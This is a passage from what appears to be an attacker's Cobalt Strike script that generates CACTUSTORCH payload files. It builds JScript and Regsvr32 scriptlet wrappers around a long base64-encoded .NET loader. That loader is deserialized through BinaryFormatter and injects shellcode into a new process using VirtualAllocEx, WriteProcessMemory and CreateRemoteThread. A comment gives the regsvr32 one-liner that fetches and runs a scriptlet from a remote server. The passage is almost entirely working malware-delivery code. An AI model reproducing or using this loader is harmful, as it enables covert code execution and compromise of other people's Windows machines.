$data = $data . "\"AHdTaG93V2luZG93AFZpcnR1YWxBbGxvY0V4AFZpcnR1YWxQcm90ZWN0RXgAYmluYXJ5AFdyaXRl\"+\r\n";
$data = $data . "\"UHJvY2Vzc01lbW9yeQBscEN1cnJlbnREaXJlY3RvcnkAb3BfRXF1YWxpdHkAb3BfSW5lcXVhbGl0\"+\r\n";
$data = $data . "\"eQAAAQAZUAByAG8AZwByAGEAbQBXADYANAAzADIAAA13AGkAbgBkAGkAcgAAFVwAUwB5AHMAVwBP\"+\r\n";
$data = $data . "\"AFcANgA0AFwAABVcAFMAeQBzAHQAZQBtADMAMgBcAAADMAAAABZi8URz/RpBkHALmYfP+r4ABCAB\"+\r\n";
$data = $data . "\"AQgDIAABBSABARERBCABAQ4EIAEBAg4HCR0FGBIcERAOGBgIGAUAAR0FDgQAAQ4OAyAACAYAAw4O\"+\r\n";
$data = $data . "\"Dg4CBhgDIAAOBQACAg4OBAABCBwIt3pcVhk04IkEAQAAAAQCAAAABAQAAAAECAAAAAQQAAAABCAA\"+\r\n";
$data = $data . "\"AAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAIAAAEABAAAAQAIAAABABAAAAEAIAAAAQAAAEA\"+\r\n";
$data = $data . "\"BAAAAgAEAAAEAAQAAAgABAAAEAAEAAAgAAQAAAABBAAAAAIEAAAABAQAAAAIBAAAABAEAAAAIAQA\"+\r\n";
$data = $data . "\"AABABAAAAIAEADAAAAQAAEAAAgYIAgYCAgYJAwYRFAMGERgCBgYDBhEgAwYRJBMAChgODhIMEgwC\"+\r\n";
$data = $data . "\"ERQYDhIcEBEQCgAFGBgYGBEgESQJAAUYGBgYESQYCQAFAhgYHQUYCAUAAgIYCQoABxgYGAkYGAkY\"+\r\n";
$data = $data . "\"BSACAQ4OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAABAB\"+\r\n";
$data = $data . "\"AAtDQUNUVVNUT1JDSAAABQEAAAAABQEAAQAAKQEAJDU2NTk4ZjFjLTZkODgtNDk5NC1hMzkyLWFm\"+\r\n";
$data = $data . "\"MzM3YWJlNTc3NwAADAEABzEuMC4wLjAAAAAAAMQ1AAAAAAAAAAAAAN41AAAAIAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAADQNQAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAg\"+\r\n";
$data = $data . "\"ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA\"+\r\n";
$data = $data . "\"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A\"+\r\n";
$data = $data . "\"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA\"+\r\n";
$data = $data . "\"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA\"+\r\n";
$data = $data . "\"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs\"+\r\n";
$data = $data . "\"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA\"+\r\n";
$data = $data . "\"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA\"+\r\n";
$data = $data . "\"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA\"+\r\n";
$data = $data . "\"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu\"+\r\n";
$data = $data . "\"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA\"+\r\n";
$data = $data . "\"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV\"+\r\n";
$data = $data . "\"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\"+\r\n";
$data = $data . "\"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP\"+\r\n";
$data = $data . "\"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA\"+\r\n";
$data = $data . "\"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw\"+\r\n";
$data = $data . "\"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA\"+\r\n";
$data = $data . "\"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAADAAAAwAAADwNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv\"+\r\n";
$data = $data . "\"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA\";\r\n";
$data = $data . "var entry_class = 'cactusTorch';\r\n";
$data = $data . "try {\r\n";
$data = $data . " setversion();\r\n";
$data = $data . " var stm = base64ToStream(serialized_obj);\r\n";
$data = $data . " var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');\r\n";
$data = $data . " var al = new ActiveXObject('System.Collections.ArrayList');\r\n";
$data = $data . " var n = fmt.SurrogateSelector;\r\n";
$data = $data . " var d = fmt.Deserialize_2(stm);\r\n";
$data = $data . " al.Add(n);\r\n";
$data = $data . " var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);\r\n";
$data = $data . " o.flame(binary,code);\r\n";
$data = $data . "} catch (e) {\r\n";
$data = $data . " debug(e.message);\r\n";
$data = $data . "}";
# All inside $data at this point.
}
else if (%options["type"] eq "Regsvr32") {
# They want a regsvr32 one liner
# regsvr32 /s /n /u /i:http://serve/main scrobj.dll
$data = $data . "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n";
$data = $data . "<package>\r\n";
$data = $data . " <component\r\n";
$data = $data . " id=\"dummy\">\r\n";
$data = $data . " <registration\r\n";
$data = $data . " description=\"dummy\"\r\n";
$data = $data . " progid=\"dummy\"\r\n";
$data = $data . " version=\"1.00\"\r\n";
$data = $data . " remotable=\"True\">\r\n";
$data = $data . " <script\r\n";
$data = $data . " language=\"JScript\"><![CDATA[\r\n";
$data = $data . "var binary = \"" . %options["binary"] . "\";\r\n";
$data = $data . "var code = \"";
$data = $data . $b64payload . "\";\r\n";
# variables set at this point
$data = $data . "function setversion() {\r\n";
$data = $data . "var shell = new ActiveXObject('WScript.Shell');\r\n";
$data = $data . "ver = 'v4.0.30319';\r\n";
$data = $data . "try {\r\n";
$data = $data . "shell.RegRead('HKLM\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\v4.0.30319\\\\');\r\n";
$data = $data . "} catch(e) { \r\n";
$data = $data . "ver = 'v2.0.50727';\r\n";
$data = $data . "}\r\n";
$data = $data . "shell.Environment('Process')('COMPLUS_Version') = ver;\r\n";
$data = $data . "}\r\n";
$data = $data . "function debug(s) {}\r\n";
$data = $data . "function base64ToStream(b) {\r\n";
$data = $data . " var enc = new ActiveXObject(\"System.Text.ASCIIEncoding\");\r\n";
$data = $data . " var length = enc.GetByteCount_2(b);\r\n";
$data = $data . " var ba = enc.GetBytes_4(b);\r\n";
$data = $data . " var transform = new ActiveXObject(\"System.Security.Cryptography.FromBase64Transform\");\r\n";
$data = $data . " ba = transform.TransformFinalBlock(ba, 0, length);\r\n";
$data = $data . " var ms = new ActiveXObject(\"System.IO.MemoryStream\");\r\n";
$data = $data . " ms.Write(ba, 0, (length / 4) * 3);\r\n";
$data = $data . " ms.Position = 0;\r\n";
$data = $data . " return ms;\r\n";
$data = $data . "}\r\n";
$data = $data . "var serialized_obj = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\"+\r\n";
$data = $data . "\"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\"+\r\n";
$data = $data . "\"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\"+\r\n";
$data = $data . "\"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\"+\r\n";
$data = $data . "\"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\"+\r\n";
$data = $data . "\"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\"+\r\n";
$data = $data . "\"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\"+\r\n";
$data = $data . "\"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\"+\r\n";
$data = $data . "\"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\"+\r\n";
$data = $data . "\"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\"+\r\n";
$data = $data . "\"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\"+\r\n";
$data = $data . "\"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\"+\r\n";
$data = $data . "\"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\"+\r\n";
$data = $data . "\"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\"+\r\n";
$data = $data . "\"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\"+\r\n";
$data = $data . "\"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\"+\r\n";
$data = $data . "\"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\"+\r\n";
$data = $data . "\"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\"+\r\n";
$data = $data . "\"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\"+\r\n";
$data = $data . "\"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\"+\r\n";
$data = $data . "\"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\"+\r\n";
$data = $data . "\"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\"+\r\n";
$data = $data . "\"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAWIaiWgAAAAAA\"+\r\n";
$data = $data . "\"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAADuNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\"+\r\n";
$data = $data . "\"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnDUA\"+\r\n";
$data = $data . "\"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAALnRleHQAAAD0FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA\"+\r\n";
$data = $data . "\"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAANA1AAAAAAAASAAAAAIABQAMIgAAkBMAAAEAAAAAAAAA\"+\r\n";
$data = $data . "\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT\"+\r\n";
$data = $data . "\"MAoAHAEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMKAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA\"+\r\n";
$data = $data . "\"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME\"+\r\n";
$data = $data . "\"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAo5gAAAABEFFnMR\"+\r\n";
$data = $data . "\"AAAKByAAMAAAGigCAAAGEwYSBigWAAAKclcAAHAoGAAACiwKEQUWKAUAAAYmKhYTBxIIBo5pKBEA\"+\r\n";
$data = $data . "\"AAoRBREGBhEIEQcoBAAABiYRBREGBx8gFnMRAAAKKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMR\"+\r\n";
$data = $data . "\"AAAKKAYAAAYmKnoCfhUAAAp9AgAABAIoDwAACgICKBkAAAp9AQAABCoAEzACAGAAAAAAAAAAAn4V\"+\r\n";
$data = $data . "\"AAAKfSsAAAQCfhUAAAp9LAAABAJ+FQAACn0tAAAEAn4VAAAKfTgAAAQCfhUAAAp9OQAABAJ+FQAA\"+\r\n";
$data = $data . "\"Cn06AAAEAn4VAAAKfTsAAAQCKA8AAAoCAigZAAAKfSoAAAQqQlNKQgEAAQAAAAAADAAAAHYyLjAu\"+\r\n";
$data = $data . "\"NTA3MjcAAAAABQBsAAAAXAcAACN+AADIBwAAdAkAACNTdHJpbmdzAAAAADwRAABcAAAAI1VTAJgR\"+\r\n";
$data = $data . "\"AAAQAAAAI0dVSUQAAACoEQAA6AEAACNCbG9iAAAAAAAAAAIAAAFXHQIUCQIAAAD6ATMAFgAAAQAA\"+\r\n";
$data = $data . "\"ABcAAAAJAAAAUAAAAAoAAAAkAAAAGQAAADMAAAASAAAAAQAAAAEAAAAGAAAAAQAAAAEAAAAHAAAA\"+\r\n";
$data = $data . "\"AACZBgEAAAAAAAYAXAWSBwYAyQWSBwYAigRgBw8AsgcAAAYAsgThBgYAMAXhBgYAEQXhBgYAsAXh\"+\r\n";
$data = $data . "\"BgYAfAXhBgYAlQXhBgYAyQThBgYAngRzBwYAfARzBwYA9AThBgYAqwipBgYAYQSpBgYATQWpBgYA\"+\r\n";
$data = $data . "\"sAapBgYA5AipBgYAWQepBgYA2AipBgYAZgapBgYAhAZzBwAAAAAlAAAAAAABAAEAAQAQAG0GAAA9\"+\r\n";
$data = $data . "\"AAEAAQAKABAA+AcAAD0AAQAJAAoBEADOBgAAQQAEAAoAAgEAABsIAABJAAgACgACAQAANggAAEkA\"+\r\n";
$data = $data . "\"JwAKAAoAEAAGBwAAPQAqAAoAAgEAAG0EAABJADwACwACAQAA8wYAAEkARQALAAYAfQb6AAYARAc/\"+\r\n";
$data = $data . "\"AAYAJAT9AAYAdAg/AAYA5wM/AAYAyAP6AAYAvQP6AAYGngMAAVaAsgIDAVaAwAIDAVaAZAADAVaA\"+\r\n";
$data = $data . "\"iAIDAVaAwgADAVaAUwIDAVaA8QEDAVaAHQIDAVaABQIDAVaAoAEDAVaAAgMDAVaAXgEDAVaASAED\"+\r\n";
$data = $data . "\"AVaA4QEDAVaATQIDAVaAMQIDAVaAagMDAVaAggMDAVaAmQIDAVaAHQMDAVaAdgEDAVaAdQADAVaA\"+\r\n";
$data = $data . "\"PQADAVaAJwEDAVaAqAADAVaAOgMDAVaAuQEDAVaAGAEDAVaAxgEDAVaA5QIDAQYGngMAAVaAkQAH\"+\r\n";
$data = $data . "\"AVaAcgIHAQYApgP6AAYA7wM/AAYAFwc/AAYAMwQ/AAYASwP6AAYAmgP6AAYA5wX6AAYA7wX6AAYA\"+\r\n";
$data = $data . "\"Rwj6AAYAVQj6AAYA5AT6AAYALgj6AAYAAQkLAQYADQALAQYAGQA/AAYA7Ag/AAYA9gg/AAYANAc/\"+\r\n";
$data = $data . "\"AAYGngMAAVaA3gIOAVaA7wAOAVaAnQEOAVaA2AIOAVaA1QEOAVaADwEOAVaAlAEOAVaAAwEOAQYG\"+\r\n";
$data = $data . "\"ngMAAVaA5wASAVaAVwASAVaA1QASAVaAWAMSAVaAaQISAVaATwMSAVaA3QASAVaAYAMSAVaAEQYS\"+\r\n";
$data = $data . "\"AVaAJAYSAVaAOQYSAQAAAACAAJYgLgAWAQEAAAAAAIAAliANCSoBCwAAAAAAgACWIBwJNQEQAAAA\"+\r\n";
$data = $data . "\"AACAAJYgNAk/ARUAAAAAAIAAliBjCEkBGgAAAAAAgACRINQDTwEcAFAgAAAAAIYYPgcGACMAWCAA\"+\r\n";
$data = $data . "\"AAAAhgBNBFoBIwCAIQAAAACGGD4HBgAlAKAhAAAAAIYYPgcGACUAAAABADsEAAACAFMEAAADAOQH\"+\r\n";
$data = $data . "\"AAAEANEHAAAFAMEHAAAGAAsIAAAHANYIAAAIAEcJAQAJAAQHAgAKAMwGAAABABsEAAACAIsIAAAD\"+\r\n";
$data = $data . "\"AAMGAAAEAGsEAAAFAL8IAAABABsEAAACAIsIAAADAAMGAAAEAMkIAAAFALIIAAABAHQIAAACAH0I\"+\r\n";
$data = $data . "\"AAADACEHAAAEAAMGAAAFALUGAAABAHQIAAACAPoDAAABAHQIAAACANEHAAADAPcFAAAEAJUIAAAF\"+\r\n";
$data = $data . "\"ACgHAAAGAAsIAAAHALIDAAABAC0JAAACAAEACQA+BwEAEQA+BwYAGQA+BwoAKQA+BxAAMQA+BxAA\"+\r\n";
$data = $data . "\"OQA+BxAAQQA+BxAASQA+BxAAUQA+BxAAWQA+BxAAYQA+BxUAaQA+BxAAcQA+BxAAiQA+BwYAeQA+\"+\r\n";
$data = $data . "\"BwYAmQBTBikAoQA+BwEAqQAEBC8AsQB5BjQAsQCkCDgAoQASBz8AoQBkBkIAsQBmCUYAsQBaCUYA\"+\r\n";
$data = $data . "\"uQAKBkwACQAkAFoACQAoAF8ACQAsAGQACQAwAGkACQA0AG4ACQA4AHMACQA8AHgACQBAAH0ACQBE\"+\r\n";
$data = $data . "\"AIIACQBIAIcACQBMAIwACQBQAJEACQBUAJYACQBYAJsACQBcAKAACQBgAKUACQBkAKoACQBoAK8A\"+\r\n";
$data = $data . "\"CQBsALQACQBwALkACQB0AL4ACQB4AMMACQB8AMgACQCAAM0ACQCEANIACQCIANcACQCMANwACQCQ\"+\r\n";
$data = $data . "\"AOEACQCUAOYACQCYAOsACQCgAFoACQCkAF8ACQD0AJYACQD4AJsACQD8APAACQAAAbkACQAEAeEA\"+\r\n";
$data = $data . "\"CQAIAfUACQAMAb4ACQAQAcMACQAYAW4ACQAcAXMACQAgAXgACQAkAX0ACQAoAVoACQAsAV8ACQAw\"+\r\n";
$data = $data . "\"AWQACQA0AWkACQA4AYIACQA8AYcACQBAAYwALgALAGABLgATAGkBLgAbAIgBLgAjAJEBLgArAJEB\"+\r\n";
$data = $data . "\"LgAzAKIBLgA7AKIBLgBDAJEBLgBLAJEBLgBTAKIBLgBbAKgBLgBjAK4BLgBrANgBQwBbAKgBowBz\"+\r\n";
$data = $data . "\"AFoAwwBzAFoAAwFzAFoAIwFzAFoAGgCMBgABAwAuAAEAAAEFAA0JAQAAAQcAHAkBAAABCQA0CQEA\"+\r\n";
$data = $data . "\"AAELAGMIAQAAAQ0A1AMBAASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAA\"+\r\n";
$data = $data . "\"AAMAAgAEAAIABQACAAYAAgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQy\"+\r\n";
$data = $data . "\"AGxwUmVzZXJ2ZWQyADxNb2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJP\"+\r\n";
$data = $data . "\"TV9KT0IARVhFQ1VURV9SRUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9V\"+\r\n";
$data = $data . "\"TkRfRU5EAERVUExJQ0FURV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBD\"+\r\n";
$data = $data . "\"UkVBVEVfTkVXX0NPTlNPTEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RV\"+\r\n";
$data = $data . "\"U1RPUkNIAFdSSVRFX1dBVENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJW\"+\r\n";
$data = $data . "\"RV9DT0RFX0FVVEhaX0xFVkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVf\"+\r\n";
$data = $data . "\"V09XX1ZETQBQUk9DRVNTX01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVf\"+\r\n";
$data = $data . "\"TkVXX1BST0NFU1NfR1JPVVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VT\"+\r\n";
$data = $data . "\"AENSRUFURV9GT1JDRURPUwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NM\"+\r\n";
$data = $data . "\"QVNTAEhJR0hfUFJJT1JJVFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9X\"+\r\n";
$data = $data . "\"X05PUk1BTF9QUklPUklUWV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVU\"+\r\n";
$data = $data . "\"QUNIRURfUFJPQ0VTUwBDUkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJV\"+\r\n";
$data = $data . "\"R19PTkxZX1RISVNfUFJPQ0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVG\"+\r\n";
$data = $data . "\"QVVMVABDUkVBVEVfVU5JQ09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVT\"+\r\n";
$data = $data . "\"RU5UAENSRUFURV9OT19XSU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVS\"+\r\n";
$data = $data . "\"SVRfUEFSRU5UX0FGRklOSVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNi\"+\r\n";
$data = $data . "\"AG1zY29ybGliAGxwVGhyZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVU\"+\r\n";
$data = $data . "\"aHJlYWQAaFRocmVhZABscFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxl\"+\r\n";
$data = $data . "\"AGxwSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUA\"+\r\n";
$data = $data . "\"bHBDb21tYW5kTGluZQBWYWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERl\"+\r\n";
$data = $data . "\"YnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmli\"+\r\n";
$data = $data . "\"dXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZp\"+\r\n";
$data = $data . "\"bGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJs\"+\r\n";
$data = $data . "\"eURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlv\"+\r\n";
$data = $data . "\"bnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0\"+\r\n";
$data = $data . "\"cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJp\"+\r\n";
$data = $data . "\"YnV0ZQBkd1hTaXplAGR3WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2Rp\"+\r\n";
$data = $data . "\"ZmllcmZsYWcATk9DQUNIRV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBG\"+\r\n";
$data = $data . "\"cm9tQmFzZTY0U3RyaW5nAFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABr\"+\r\n";
$data = $data . "\"ZXJuZWwzMi5kbGwAQ0FDVFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dy\"+\r\n";
$data = $data . "\"aXR0ZW4AbHBQcm9jZXNzSW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVj\"+\r\n";
